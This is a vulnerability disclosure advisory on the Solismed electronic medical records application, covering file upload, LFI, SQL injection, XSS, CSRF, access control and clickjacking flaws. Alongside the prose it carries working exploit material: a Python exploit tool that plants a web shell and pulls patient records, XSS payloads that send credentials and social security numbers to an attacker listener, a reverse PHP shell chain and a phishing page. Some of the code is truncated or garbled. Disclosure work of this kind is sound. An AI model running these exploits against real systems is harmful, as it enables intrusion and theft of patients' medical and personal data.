Explore how attackers operate and their favorite tools and targets in our new SANS research. Get the Report ›

Gauge reading critical severity


Nine vulnerabilities were identified within the Solismed application.

The following document describes identified vulnerabilities in the Solismed application version 3.3SP1.

Product Vendor

Product Name

Affected Version*

Intesync, LLC

SolismedVersion 3.3SP1

*Earlier versions are untested at the time of writing, but presumed to be vulnerable.

Product Description

Solismed is an electronic medical records (EMR) application that is used by medical professionals to maintain medical records of patients and manage patient visits. The project's official website is https://www.solismed.com. The latest version of the application is 3.5, released on December 02, 2019.

Vulnerabilities List

  1. Insecure File Upload
  2. Local File Inclusion (LFI)
  3. Cross-site Scripting (XSS)
  4. Cross-site Request Forgery (CSRF)
  5. Incorrect Access Controls
  6. Directory Traversal
  7. Insecure Cryptographic Storage
  8. User Interface Redress - Clickjacking


The vulnerabilities discovered result in complete compromise of the Solismed application server and the data contained within the application. Solismed contains highly sensitive data such as medical records, Social Security numbers, and various forms of Personal Identifying Information (PII). The vulnerabilities can be exploited from the context of an unauthenticated attacker with no direct access to the application.


  • Update to version 3.5.
  • Implement strong network firewall rules, disallowing incoming and outgoing connections outside of the local area network.


  • 09/04/2019: Initial discovery
  • 09/06/2019: Contact with vendor
  • 09/09/2019: Vendor acknowledged vulnerabilities
  • 10/22/2019: Version 3.4sp1 retested. Incorrect Access Controls partially remediated, other issues remain.
  • 10/24/2019: Contact with vendor
  • 10/24/2019: Vendor acknowledged vulnerabilities
  • 11/20/2019: Version 3.4sp4 retested. Insecure File Upload remediated, other issues remain.
  • 11/21/2019: Contact with vendor
  • 11/22/2019: Vendor acknowledged vulnerabilities
  • 12/02/2019: Vendor released patched version 3.5 and stated issues have been resolved. Bishop Fox did not independently verify the vulnerabilities have been addressed.
  • 12/09/2019 : Vulnerabilities publicly disclosed



Insecure File Upload


Security Risk


Access Vector

CVE-2019-15936CriticalCode executionRemote

The Solismed application was affected by one instance of insecure file upload that allowed unauthenticated users to upload arbitrary files, including PHP files, that were stored within the application's web root. The insecure file upload resulted in remote code execution (RCE) from the context of an external unauthenticated attacker.

The /gui/file_upload.php endpoint did not require authentication or authorization and was used by the Solismed application to handle file uploads. This file upload handler relied on client-side controls to restrict dangerous file types from being uploaded to the application server. To bypass the client-side controls, a direct POST request containing a PHP web shell was sent, as shown below:

POST /gui/file_upload.php?delete_after_upload=N&use_real_file=Y&user_id=4&patient_id=&encounter_id=0&encrypt=N&target_folder=preferences HTTP/1.1
Host: localhost
…omitted for brevity…
Content-Disposition: form-data; name="name"

Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/png


FIGURE 1 - PHP file upload

The application processed the request, responded with a 200 OK message, and returned the filename assigned by the application, as shown below:

HTTP/1.1 200 OK
…omitted for brevity…

FIGURE 2 - Application response

Navigating to the /webroot/userhome/preferences endpoint with the fileName parameter value returned in the response revealed the PHP web shell uploaded successfully and accepted operating system commands on the application server, as shown below:


FIGURE 3 - PHP web shell showing contents of /etc/passwd

The PHP web shell ran in the context of the application server's www-data user. To automate the exploitation of this issue, a python script was created that allowed the team to upload an interactive web shell in a single command, as shown below:


FIGURE 4 - Automated file upload exploitation

The web shell granted the ability to exfiltrate sensitive data, such as patients' medical records, and would grant an attacker a foothold on the internal network. The testing and exploit code can be found in Appendix A following this advisory.

Local File Inclusion (LFI)

The Solismed application was affected by one instance of LFI resulting in unauthenticated remote code execution and disclosure of arbitrary files from the underlying server.


Security Risk


Access Vector

CVE-2019-16246CriticalCode executionRemote

The /gui/file_viewer.php endpoint was vulnerable to LFI. Appending file paths to the uloaded_filename parameter processed the targeted file by including its contents in a temporary directory within the application's web root to be displayed by Google Docs. The LFI request is shown below:

GET /gui/file_viewer.php?encrypt=N&target_folder=utilities&uploaded_filename=../../../../../../../etc/passwd HTTP/1.1

FIGURE 5 - Path to /etc/passwd

The GET request returned a 302 redirect message and attempted to display the local file in a Google Docs file viewer. For the local file to be processed in this manner, localhost could not be used as a target URL in the initial LFI request, as it would not be processed by the Google Doc functionality. The 302 from the Google Doc functionality is shown below:

HTTP/1.1 302 Found
…omitted for brevity…
Location: https://docs.google.com/viewer?url=http%3A%2F%2F192.168.1.7%2Fwebroot%2Ftemp%2F2aab195e7894861ae10b3015391c45f6.&embedded=true
Content-Length: 0

FIGURE 6 - Location header containing vulnerable endpoint

The redirect contained a url parameter that was the processed file's location. By navigating to the URL in the url parameter of the location header, the contents of /etc/passwd were returned, as shown below:


FIGURE 7 - Contents of /etc/passwd

Additionally, the LFI included local PHP files resulting in code execution. To automate exloitation, a script was created that chained the LFI with the insecure file upload, resulting in unauthenticated remote code execution, as shown below:


FIGURE 8 - LFI code execution

An attacker could leverage this vulnerability to compromise the underlying server and/or exfiltrate sensitive data.

SQL Injection

The Solismed application was affected by four instances of SQL injection that resulted in unauthenticated exposure of the data contained within the application MySQL database, including medical records, Social Security numbers, application user data, and PII.


Security Risk


Access Vector

CVE-2019-15933HighInformation disclosureRemote

The /schedule/loaders/check_datetime.php endpoint was vulnerable to SQL injection. This endpoint required no authentication or authorization. To determine that the endpoint was vulnerable to SQL injection, a request was sent containing a sleep command in the date parameter, as shown below:

POST /schedule/loaders/check_datetime.php HTTP/1.1
Host: localhost
…omitted for brevity…

FIGURE 9 - SQL sleep command sent to server

The application delayed ten seconds, indicating a SQL injection vulnerability. To further exploit this issue, the automated SQL injection tool sqlmap was used with the command sqlmap -l sql-check.txt --dbms=mysql --thread=4 -p date - dump , where /sql-check.txt is the vulnerable POST request. The result of this command was the exfiltration of the entire Solismed application database. A sample of the exfiltrated tables is shown below:


FIGURE 10 - Sample of tables exfiltrated from SQL injection

The database contained sensitive PII and medical records as well as application user data. Some of the more sensitive data was encrypted with AES, as shown below:


FIGURE 11 - Encrypted data in demographics table

However, an attacker could decrypt all of the encrypted data using methods described in the Insecure Cryptographic Storage finding in this advisory. Additionally, the SQL injection could be used to retrieve files from the underlying filesystem and, in some instances, could lead to remote code execution if the database user had write permissions in the web root.

Additional Affected Locations

  • /finance/sales/load_details.php
    • Parameter: payment_id
  • /index.php?loginaction=login
    • Referer header – Note: requires valid credentials to be sent in login
  • /schedule/loaders/*
    • Multiple parameters

Cross-site Scripting (XSS)

The Solismed application was affected by systemic cross-site scripting (XSS), including both stored and reflected XSS. The stored XSS could be exploited by any authenticated user, including the low-privilege patient application users, and affected staff users including administrators. The reflected XSS could be exploited by unauthenticated users and affect any Solismed user that could be lured into clicking a link. The XSS was exploited to obtain sensitive personal information, such as Social Security numbers, as well as to obtain valid login credentials to the application. Additionally, the XSS was chained with the CSRF and Insecure File Upload findings of this advisory to achieve remote code execution and compromise the underlying server.


Security Risk


Access Vector

CVE-2019-15935HighEscalation of privileges &
Information disclosure

To demonstrate how an attacker may exploit these issues, as well as the impact of the finding, a stored XSS was exploited from the context of a low-privileged patient user. This XSS affected staff users, including administrators, and exfiltrated sensitive patient information such as cleartext Social Security numbers. The reflected XSS was exploited from the context of an unauthenticated user and affected any user who could be enticed to click a link. When the link was clicked, cleartext credentials of the victim user were sent to the attacker's server.

Stored XSS

To exploit the stored XSS, an attacker would authenticate as a low-privilege patient user to update the patient address (though all fields were vulnerable) to contain an arbitrary XSS payload, as shown below:

POST /index_body.php?module=patient_portal&tab=account_settings&mount= HTTP/1.1
Host: localhost
…omitted for brevity…
Content-Disposition: form-data; name="address1"

…omitted for brevity…

FIGURE 12 - XSS payload within the address1 parameter

This arbitrary JavaScript executed whenever a staff or administrative user navigated to the affected patients' file at the index_page.php endpoint. Once a staff member navigated to the affected endpoint, the XSS triggered and loaded e.js (a JavaScript payload) from the attacker server. The e.js payload retrieved all patients’ existing PII data, including cleartext Social Security numbers, and sent them to the attacker server, as shown below:


FIGURE 13 - Sensitive PII data returned to attacker server

Since this instance of XSS was stored, the attacker could persistently obtain sensitive medical and PII data.

Reflected XSS

To demonstrate the reflected XSS, the /contacts/patients/loaders/upload_webcam_file.php endpoint was exploited. A malicious link was crafted that contained arbitrary JavaScript in the patient_id parameter, as shown below:

http://localhost/contacts/patients/loaders/upload_webcam_file.php?patient_id=0%3cscript%3eeval(String.fromCharCode(102,…omitted for brevity…59))%3c%2fscript%3e

FIGURE 14 - XSS link

The payload was encoded to avoid issues with the application’s handling of special characters. The full decoded payload is shown below:

// XSS payload for Solismed v3.3sp1
// Obtains logged in user credentials 
fetch('/index_body.php?module=preferences&tab=account&mount=user_settings', {
    credentials: 'include'
}).then(function (response) {
    return response.text().then(function (html) {
        var parser = new DOMParser();
        var doc = parser.parseFromString(html, "text/html");
        let passwd = doc.getElementById("password").value;
        let uname = doc.getElementById("username").value;
        let creds = `UsernameFound: ${uname} PasswordFound: ${passwd}`
        return creds
}).then(function (creds) {
        fetch('http://localhost:1337', {
            method: 'POST',
            body: creds

FIGURE 15 - XSS payload to receive credentials

If an authenticated application user was lured into clicking the affected link, the payload executed, pulled cleartext credentials from the victim user's profile page, and sent them to the attacker server, as shown below:

nc -lvvp 1337
…omitted for brevity…
UsernameFound: admin PasswordFound: sysadmin

FIGURE 16 - Cleartext credentials received at attacker server

The attacker could now authenticate to the application as the victim user. Because cross-site scripting was systemic within the Solismed application, it is not practical to list all affected locations.

Cross-Site Request Forgery (CSRF)

The Solismed application was affected by systemic CSRF that could be exploited from the context of an external unauthenticated user to create back-doored users, change passwords of users without knowledge of the original, or make any state-changing request on behalf of authenticated users. In this instance, the CSRF was exploited to demonstrate how an unauthenticated external attacker with no direct access to the application (i.e., the application was hosted on an internal network, not publicly facing) could gain remote code execution (RCE) through a chain of vulnerabilities (CSRF => XSS => Incorrect Access Controls => Insecure File Upload).


Security Risk


Access Vector

CVE-2019-15934HighEscalation of privilegesRemote

An externally hosted phishing page was created so that when visited by an authenticated staff user on the Solismed application, the page forced the user to send a POST request to the Solismed application on behalf of the authenticated user. The HTML/JavaScript that sent the POST request is shown below:

			var payload = '<img src=x onerror=jQuery.getScript("http://localhost:9090/xss-shell.js")>'
			var formData = new FormData();
			formData.append('task', 'save');
			formData.append('first_name', payload);
				    fetch('http://localhost/index_body.php?module=contacts&tab=Charts&mount=demographics&patient_id=&mounttype=default&tab_id=&calendar_id=®istration_id=&phone_call_id=&from_finance=', {
			credentials: 'include',
			method: 'POST',
			body: formData

FIGURE 17 - CSRF phishing page code

This CSRF payload was designed to chain with the Stored XSS finding described in this advisory. Once an authenticated staff member visited the phishing page, an arbitrary request was sent on their behalf that added a new patient with the patient's name containing an XSS payload, as shown below:

/index_body.php?module=contacts&tab=Charts&mount=demographics&patient_id=&mounttype=default&tab_id=&calendar_id=®istration_id=&phone_call_id=&from_finance= HTTP/1.1
Host: localhost
…omitted for brevity…
origin: null
…omitted for brevity…
Content-Disposition: form-data; name="first_name"

<img src=x onerror=jQuery.getScript("http://localhost:9090/xss-shell.js")>

FIGURE 18 - CSRF request to create new patient

The affected patient name was stored in the index_page.php on the contacts – patients endpoint. Once any authenticated staff member viewed the affected patients functionality, the stored XSS executed and loaded xss-shell.js from the attacker server. The xss-shell.js was a JavaScript payload that chained the incorrect access controls with the insecure file upload vulnerabilities described in this advisory, which resulted in a PHP reverse shell returned to the attacker, as shown below:

nc -lvvp 31337
listening on [any] 31337 ...
connect to [] from localhost [] 53014
uid=33(www-data) gid=33(www-data) groups=33(www-data)

FIGURE 19 - CSRF request to create new patient

The PHP reverse shell allowed for operating system commands to be run on the application’s underlying server. The code for xss-shell.js is contained in Appendix A of this advisory.

Incorrect Access Controls

The Solismed application was affected by systemic incorrect access controls that resulted in the unintended exposure of application functionality and data. The incorrect access controls resulted in the ability to exploit the insecure file upload and SQL injection findings of this advisory from the context of an unauthenticated attacker. The incorrect access controls allowed a low-privilege user to escalate permissions to the role of a system administrator. In addition to these issues, the application exposed sensitive data such as patient lists with corresponding contact information, application users, and medical records.


Security Risk


Access Vector

CVE-2019-15932HighInformation disclosure & Escalation of privilegesRemote

As the Insecure File Upload and the SQL injection findings have already detailed the dangerous functionality exposed to unauthenticated attackers, the details of this finding will focus on the exposure of sensitive data to unauthenticated attackers and a privilege escalation vulnerability.

Unauthenticated Data Exposure

The Solismed application endpoints systemically did not enforce authentication or authorization aside from the index*.php endpoints. These endpoints contained publicly exposed sensitive data, such as patient information, health care records, application user information, a verbose error log, and SQL database information. Navigating to the /contacts/patients/grids/all_patients.php endpoint revealed all existing patients, names, dates of birth, phone numbers, and application-specific medical record numbers, as shown below:


FIGURE 20 - Sensitive data retrieved from all_patients.php endpoint

To demonstrate the amount of data exposed and to automate testing, a Python script was created to retrieve the various exposed endpoints and write them into local files on the attacker server, as shown below:


FIGURE 21 - Automated data exfiltration

Privilege Escalation

The functionality to alter application roles did not properly enforce authentication. By sending a direct request to the role update endpoint, the application allowed any application user to escalate from any role to application system administrator. Sending the following request with the form_user_id set to the ID of the targeted user and the form_user_role set to 1 (the default value for the administrative role) resulted in vertical privilege escalation, as shown below:

POST /index_body.php?module=operations&tab=user_access&mount=user_accounts&tab_id=operations_edit_acc_19 HTTP/1.1
Host: localhost
…omitted for brevity…
Content-Disposition: form-data; name="task"

Content-Disposition: form-data; name="form_user_id"

Content-Disposition: form-data; name="first_name"

Content-Disposition: form-data; name="last_name"

Content-Disposition: form-data; name="title"

Content-Disposition: form-data; name="form_user_role"

…omitted for brevity…

FIGURE 22 - Request made to escalate privilege

The user could then refresh or re-authenticate with newly assigned administrative permissions, as shown below:


- Newly assigned system admin role

To perform the privilege escalation, the attacker can authenticate as any user to the Solismed application.

Directory Traversal

The Solismed application was affected by two instances of directory traversal resulting in file uploads being written to arbitrary locations within the application’s web root. This could be used in conjunction with the insecure file upload vulnerability to achieve remote code execution in instances where the legitimate upload endpoint was unknown or restricted.


Security Risk


Access Vector

CVE-2019-15931MediumArbitrary file write to application web rootRemote

In the file upload detailed in the Insecure File Upload finding of this advisory, the target_folder parameter in the /gui/file_upload.php endpoint was vulnerable to directory traversal. By modifying the parameter to arbitrary locations within the web root, an attacker could control where the file was uploaded, as shown below:

POST /gui/file_upload.php?delete_after_upload=N&use_real_file=Y&user_id=400&patient_id=&encounter_id=0&encrypt=N&target_folder=../../webroot HTTP/1.1
…omitted for brevity…
Content-Disposition: form-data; name="name"

Content-Disposition: form-data; name="file"; filename="health.jpeg"
Content-Type: image/jpeg



FIGURE 24 - Directory traversal in file upload

The directory traversal successfully uploaded the PHP web shell into the /webroot directory, resulting in remote code execution, as shown below:


FIGURE 25 - Web shell in arbitrary file location

The directory traversal further increases the exploitability of the insecure file upload, lowering the bar for the application architecture knowledge required to exploit this vulnerability.

Additional Location

  • /index_body.php
    • Multiple parameters wherever filenames are present

Insecure Cryptographic Storage

The Solismed application improperly implemented AES encryption to protect stored data within the application SQL database. An attacker could decrypt all of the encrypted data within the SQL database.


Security Risk


Access Vector

CVE-2019-17428MediumInformation disclosure & Arbitrary actions forced on behalf of userLocal

Once an attacker exfiltrated the data in the SQL database through the various exploits detailed in this advisory, the AES-encrypted data could be decrypted. The path of least resistance to decrypt all of the SQL data was through misuse of application functionality. As detailed in the XSS finding of this advisory, the data, such as usernames and passwords, rendered in cleartext within the application’s UI. This demonstrated that the application was decrypting the SQL data for display in the UI. Therefore, to decrypt the encrypted SQL data, an attacker could download the publicly available Solismed application and insert the encrypted contents into fields that would be displayed by the UI, as shown below:


FIGURE 26 - Decryption on AES SQL data

This was verified across different installations of Solismed, indicating that the AES decryption key was hard-coded into the application source code across all installations. The AES key was not retrieved during the course of the testing due to the source code's IonCube protection and the time-boxed nature of this test.

User Interface Redress (Clickjacking)

The Solismed application lacked application framing protections, resulting in a user interface redress (UI Redress) vulnerability that allowed the application to be framed within a phishing page that an attacker could use to hijack user clicks and execute arbitrary actions on their behalf. To demonstrate impact, clickjacking was added to the attack chain described in the CSRF finding of this advisory (CSRF => XSS => UI Redress => Incorrect Access Controls => Insecure File Upload). Through the UI redress vulnerability, an attacker could force the execution of the XSS vulnerability, resulting in code execution on the underlying server through the chain of vulnerabilities described.


Security Risk


Access Vector

CVE-2019-15930LowArbitrary actions forced on behalf of the userRemote

Framing the Solismed application in a phishing page that included the CSRF payload allowed for an attack chain of CSRF => XSS => Clickjacking => Incorrect Access Controls => Insecure File Upload => RCE to be executed from the context of an external unauthenticated attacker. The phishing page is shown below:


FIGURE 27 - UI redress phishing page

When an authenticated user navigated to the phishing page, the CSRF would trigger, exploiting the XSS as described in the CSRF finding of this advisory. The Solismed application would then be framed within the phishing page. If the victim user's start page was patient contacts (as was the case with some of the preconfigured test accounts within the software download), no click was required and the XSS triggered, resulting in RCE. In instances where the victim user's start page was not the patient contacts endpoint, one click was required to load the XSS-affected endpoint. The code used in the phishing page can be found in Appendix A below.

Appendix A — Exploit Code

Insecure File Upload, LFI, and Incorrect Access Controls – Python Script

The following code (solisploit.py) was used in the Insecure File Upload, LFI, and Incorrect Access Controls findings included in this advisory:

#! /usr/bin/env python3
# Solismed v3.3sp1 Security Testing Tool
# Author:  Malaphar @ Bish0pf0x
# This script was designed for a linux host and target
# However it is easily modified for Windows based targets

import requests
import sys
import argparse
import os
import cmd
from urllib.parse import urlparse, parse_qs, urlsplit

class bcolors:
    RED = "\033[0;31m"
    ORN = '\033[93m'
    BLUE = "\033[0;34m"
    GREEN = '\033[32m'
    PURPLE = "\033[35m"
    ENDC = '\033[m'

START = bcolors.PURPLE + "[*] " + bcolors.ENDC
SHELL = {'file': (
    'rce.php', '<?php if (!empty($_POST[\'cmd\'])) {$cmd = shell_exec($_POST[\'cmd\']);echo $cmd;}?>')}
WARN = bcolors.BLUE + "[$] " + bcolors.ENDC
ENUM_DIR = "Solismed-Exfil"

def upload_shell():  # Exploits Insecure File Upload
    print(START + "Uploading Web Shell...")
    resp = requests.post(
        args.url + '/gui/file_upload.php?delete_after_upload=N&use_real_file=Y&user_id=31337&patient_id=&encounter_id=0&encrypt=N&target_folder=preferences', files=SHELL)
    print(START + "Retrieving Shell Filename...")
    file_name = resp.json()['fileName']
    print(WARN + "Filename Found! " + bcolors.RED + "%s" %
          file_name + bcolors.ENDC)
    return file_name

def code_exec(vuln_path): # Web Shell Handler
    headers = {'Content-type': 'application/x-www-form-urlencoded'}
    r = requests.post(vuln_path, headers=headers, data="cmd=whoami")
    whoami = r.text.strip()
    r2 = requests.post(vuln_path, headers=headers, data="cmd=hostname")
    hostname = r2.text.strip()
    class webShell(cmd.Cmd):
        intro = 'Welcome to the web shell.\nUploaded shell is at ' + vuln_path + '\nType help or ? to list commands.\n'
        prompt = whoami + '@' + hostname + '$'
        file = None

        def default(self, arg):
            'Executes system command\nExample: cmd whoami'
            data = "cmd=%s" % arg
            r = requests.post(vuln_path, headers=headers, data=data)
        def do_clear(self, arg):
            'Clears the terminal'

        def do_exit(self, arg):
            'Cleans web shell from server and exits'
            print(START + "Have a Nice Day!")
    except Exception as e:

####  Exploits LFI for RCE or File enumeration  ####
def set_lfi(set_lfi_file):  # If LFI option get file function
        print(START + "Setting LFI...")
        resp = requests.post(args.url + "/gui/file_viewer.php?encrypt=N&target_folder=utilities&uploaded_filename=../../../../../../%s" %
                             set_lfi_file, allow_redirects=False)
        location_header = resp.headers["Location"]
        print(START + "Obtaining Affected Endpoint From Location Header...")
        o = urlparse(location_header)
        query = parse_qs(o.query)
        URI = o._replace(query=None).geturl()
        if "url" in query:
            lfi_file_location = query["url"][0]
            print(WARN + "Affected Endpoint Found! %s" % lfi_file_location)
            print("Failed to obtain location header...\n" + resp.text)
        return lfi_file_location
    except Exception:
        print("Error Something Went Wrong Setting The LFI...")

def clean_up(vuln_path):  # Clean exit of Web Shell
    headers = {'Content-type': 'application/x-www-form-urlencoded'}
    sf = urlsplit(vuln_path)
    shell_file = "/var/www/html" + sf.path
    rm_shell = requests.post(vuln_path, headers=headers, data="cmd=rm " + shell_file)
    if rm_shell.status_code == 200:
        print(START + "Cleaned Uploaded File From Server...")
        print(WARN + "Unable to Clean Uploaded File From Server!" +
              bcolors.RED + "%s" % shell_file)

def get_exposed_data(grid_endpoints, grid_path):
    for grid_endpoint in grid_endpoints:
        print(START + "Attempting to Retrieve %s Data..." % grid_endpoint)
        resp = requests.get(
            args.url + grid_path + "%s.php" % grid_endpoint)
        if resp.status_code == 200:
            print(WARN + "%s Data Found!" % grid_endpoint)
            fname = "%s.xml" % grid_endpoint
            content = resp.text
            print(START + "Writing Results to File: " +
                  bcolors.RED + "%s" % fname + bcolors.ENDC)
            file_write(fname, content)
            print(WARN + "Something Went Wrong: " + str(resp.status_code))

def get_more_data():
    resp = requests.get(args.url + "/config/system.sql")
    if resp.status_code == 200:
        sql_content = resp.text
        sql_fname = "system.sql"
        print(WARN + "%s Data Found MAY CONTAIN SYS ADMIN CREDS (AES) See advisory for decryption" % sql_fname)
        print(WARN + "System SQL Data Not Found :(") 
    resp2 = requests.get(args.url + "/webroot/errorlog/log.php")
    if resp2.status_code == 200:
        error_log_content = resp.text
        log_fname = "errorlog.txt"
        print(WARN + "%s Error Log Found May Contain Sensitive Information" % log_fname)
        print(WARN + "System SQL Data Not Found :(") 

def make_dir():
        current_path = os.getcwd()
        check_dir = os.path.exists(current_path + "/" + ENUM_DIR)
        if check_dir == False:
            overwrite = input(WARN + "%s Exists. Would You Like to Overwrite The Enumeration Files?\n" %
                              ENUM_DIR + "Yes " + "or " + "No ")
            low_ovw = overwrite.lower()
            if low_ovw == "yes" or low_ovw == "y":
                print(START + "Overwriting Previous Enumeration...")
            elif low_ovw == "no" or low_ovw == "n":
                print(WARN + "Error Please Type yes or no")
    except Exception as e:

def file_write(fname, content):
    f = open(ENUM_DIR + "/" + fname, "w")

def main():
    if args.check:
            resp = requests.get(args.url + "/webroot/version.txt")
            if resp.status_code == 200:
                version = resp.text
                if version == "3.3 SP1":
                    print(WARN + "Vulnerable Version Found! %s" % version)
                    print(WARN + "The Target May Not Be Vulnerable... %s" % version)
                print(WARN + "Unable to Get Version :( ")
        except Exception as e:
    if args.exfil:
        print(START + "Attempting to Obtain Exposed Data...")
        access_endpoints = ["user_accounts", "user_groups", "user_roles"]
        access_path = "/operations/access/grids/"
        get_exposed_data(access_endpoints, access_path)
        util_endpoints = ["access_history", "data_backup","emergency_access", "eprescribing_transactions"]
        util_path = "/utilities/audit_logs/grids/"
        get_exposed_data(util_endpoints, util_path)
        contact_endpoints = ['advance_directives', 'all_documents', 'all_encounters', 'allergies', 'all_lab_results', 'all_orders', 'all_patients', 'all_radiology_results', 'appointments', 'assessment', 'calls', 'chief_complaints', 'claims', 'clinical_alerts', 'disclosure_of_records', 'documents', 'family_history', 'faxes',
                             'guarantors', 'health_maintenance', 'immunizations', 'insurance_information', 'lab_orders', 'letters', 'medical_history', 'medication_list', 'narration_instruction', 'notes', 'past_visits', 'payments', 'prescriptions', 'problem_list', 'procedures', 'radiology_orders', 'referrals', 'supplies', 'surgical_history']
        contacts_path = "/contacts/patients/grids/"
        get_exposed_data(contact_endpoints, contacts_path)
        dashboard_endpoints = ['new_radiology_results', 'patient_portal_access', 'new_calls', 'open_documents', 'rx_refill_requests', 'new_lab_results', 'open_encounters', 'todays_visits', 'new_messages', 'open_orders', 'unpaid_invoices']
        dashboard_path = "/dashboard/summary/grids/"
        get_exposed_data(dashboard_endpoints, dashboard_path)
        sales_endpoints = ['billed', 'billing_payments', 'billing_adjustments', 'billing_transactions', 'billing_listings', 'bill_summaries']
        sales_path = "/finance/sales/grids/"
        get_exposed_data(sales_endpoints, sales_path)
        purchases_endpoints = ['adjustments', 'listings', 'payments']
        purchases_path = "/finance/purchases/grids/"
        get_exposed_data(purchases_endpoints, purchases_path)
    if args.lfi:
        if args.url == "http://localhost" or args.url == "":
                WARN + "Due to Application Logic Localhost Will Not Work Use Internal IP Instead...")
            set_lfi_file = args.lfi
            lfi_file = set_lfi(set_lfi_file)
            resp = requests.get(lfi_file)
            if(len(resp.text) == 0):
                print(WARN + "File " + bcolors.RED + "%s " % args.lfi +
                      bcolors.ENDC + "Not Found or User Lacks Permissions...")
    if args.rce:
        print(START + "Exploiting Insecure File Upload...")
        file_name = upload_shell()
        vuln_path = args.url + "/webroot/userhome/preferences/" + file_name
    elif args.rce_lfi:
        print(START + "Exploiting Local File Inclusion...")
        file_name = upload_shell()
        path_to_lfi = "/var/www/html/webroot/userhome/preferences/" + file_name
        vuln_path = set_lfi(path_to_lfi)
        uploaded_file = args.url + "/webroot/userhome/preferences/" + file_name

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Tests and exploits vulnerablities in Solismed 3.3SP1',
                                     epilog='Example usage: ./solissploit.py -u http://example.com -r ')
    parser.add_argument('-u', '--url', dest='url', required=True,
                        type=str, help='URL of the target endpoint')
    parser.add_argument('--check', action='store_true', dest='check',
                        help='Attempts to get Solismed application version')
    parser.add_argument('--rce-upload', action='store_true', dest='rce',
                        help='Exploits an insecure file upload to open interactive web shell')
    parser.add_argument('--rce-lfi', action='store_true', dest='rce_lfi',
                        help='Exploits file upload and executes with LFI to open interactive web shell')
    parser.add_argument('-l', '--lfi', type=str, dest='lfi',
                        help='Exploits LFI to retrieve files from local file system.  Example usage: ./solisploit.py -u http://example.com -l /etc/passwd')
    parser.add_argument('-e', '--exfil', action='store_true', dest='exfil',
                        help='Pulls sensative patient organzation and application user information from exposed endpoints')
    args = parser.parse_args()

XSS – Payload to Obtain User PII Data

The following code (e.js) was used in the Stored XSS finding included in this advisory:

// XSS Payload for Solismed 3.3sp1 
// Obtains PII of patients 
var i = 0;
var exfil = [];
var getPII = function () {
    fetch('/index_body.php?module=contacts&tab=Charts&mount=demographics&task=edit&patient_id=' + i, {
        credentials: 'include'
    }).then(function (response) {
        return response.text().then(function (html) {
            var parser = new DOMParser();
            var doc = parser.parseFromString(html, "text/html");
            let ssn = doc.getElementById("ssn").value;
            let fname = doc.getElementById("first_name").value;
            let lname = doc.getElementById("last_name").value;
            let dob = doc.getElementById("DOB").value;
            let address = doc.getElementById("address1").value;
            let city = doc.getElementById("city").value;
            let state = doc.getElementById("state").value;
            let zipcode = doc.getElementById("zipcode").value;
            let pii = `Firstname=${fname} LastName=${lname} DOB=${dob} SSN=${ssn} Address=${address} ${city} ${state} ${zipcode}`
            // This checks the first 20 patients 
            if (i > 20) { 
            else {
// Exflitrates PII to remote server 
async function exfilPII() {
    fetch('http://localhost:1337', {
        method: 'POST',
        body: exfil

CSRF – XSS Payload for Remote Code Execution

The following code (xss-shell.js) was used in the CSRF finding included in this advisory:

//XSS to reverse PHP SHELL payload
// Shell code generated with msfvenom
const shellCode = `   \/*<?php /**/
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
[email protected]_get('disable_functions');
  $dis=preg_replace('/[, ]+/', ',', $dis);
  $dis=explode(',', $dis);
  $dis=array_map('trim', $dis);


function RdxQvmVXDdP($c){
  global $dis;
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
  $c=$c." 2>&1\n";


  return $o;
$nofuncs='no exec functions';
[email protected]("tcp://",$port);
  $out = '';
  if(substr($c,0,3) == 'cd '){
  } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
[email protected]_create(AF_INET,SOCK_STREAM,SOL_TCP);
while([email protected]_read($s,2048)){
  $out = '';
  if(substr($c,0,3) == 'cd '){
  } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
// Uploads shell code via insecure file upload, executes shell
var formData = new FormData();
var blob = new Blob([shellCode], { type: "application/x-php"});
formData.append('name', 'rshell.php')
formData.append('file', blob, 'shell.php')
var x = ''
    method: 'POST',
    credentials: 'include',
    body: formData
}).then(response => response.json())
.catch(error => console.error('Error:', error))
.then(response => fetch('/webroot/userhome/preferences/' + response["fileName"]));


The following code (clickjacked.html) was used in the Clickjacking finding included in this advisory:

<!DOCTYPE html>
<html class="bg">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		<title>Malaphar Health Portal</title>
		html {
			height: 100%;
		.bg {
			background-image: url("health.jpeg");
			height: 100%;
			background-position: center;
			background-repeat: no-repeat;
			background-size: cover;

<div id="container" style="clip-path: inset(200px 910px 400px 200px); clip: rect(200px, 910px, 400px, 200px); overflow: hidden; position: absolute; left: 0px; top: 0px; width: 100%; height: 100%;"">

	<input id="clickjack_focus" style=""opacity:0;position:absolute;left:-5000px;"">
	<div id="clickjack_button" style=""opacity: 1; transform-style: preserve-3d; text-align: center; font-family: Arial; font-size: 200%; width: 700px; height: 110px; z-index: 0; background-color: rgb(25, 0, 255); color: rgb(8, 2, 2); position: absolute; left: 50px; top: 250px;""><div style=""position:relative;top: 30%;transform: translateY(-50%);"">Click Here<br>For IT support</div></div>
	<!-- Show this element when clickjacking is complete -->
	<div id="clickjack_complete" style="display:none;-webkit-transform-style: preserve-3d;-moz-transform-style: preserve-3d;transform-style: preserve-3d;font-family:Arial;font-size:16pt;color:red;text-align:center;width:100%;height:100%;"><div style="position:relative;top: 50%;transform: translateY(-50%);">We will handle your issue remotely!</div></div>
